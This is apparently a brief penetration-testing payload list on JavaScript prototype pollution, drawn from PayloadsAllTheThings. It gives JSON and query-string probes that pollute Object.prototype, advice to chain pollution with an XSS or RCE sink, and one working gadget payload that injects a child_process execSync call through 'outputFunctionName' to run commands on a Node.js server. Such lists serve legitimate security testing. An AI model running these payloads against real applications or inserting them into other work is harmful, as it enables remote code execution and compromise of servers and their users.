Prototype Pollution
Client and server merge gadgets. Pollution without a sink is weak; pair with an XSS or RCE gadget.
Tags: prototype-pollution, js, nodejs
Controlled probes
{"__proto__":{"polluted":"yes"}}{"constructor":{"prototype":{"polluted":"yes"}}}?__proto__[polluted]=yes?constructor[prototype][polluted]=yesa[__proto__][polluted]=yes{"__proto__":{"status":500,"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id')//"}}
Source: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Prototype%20Pollution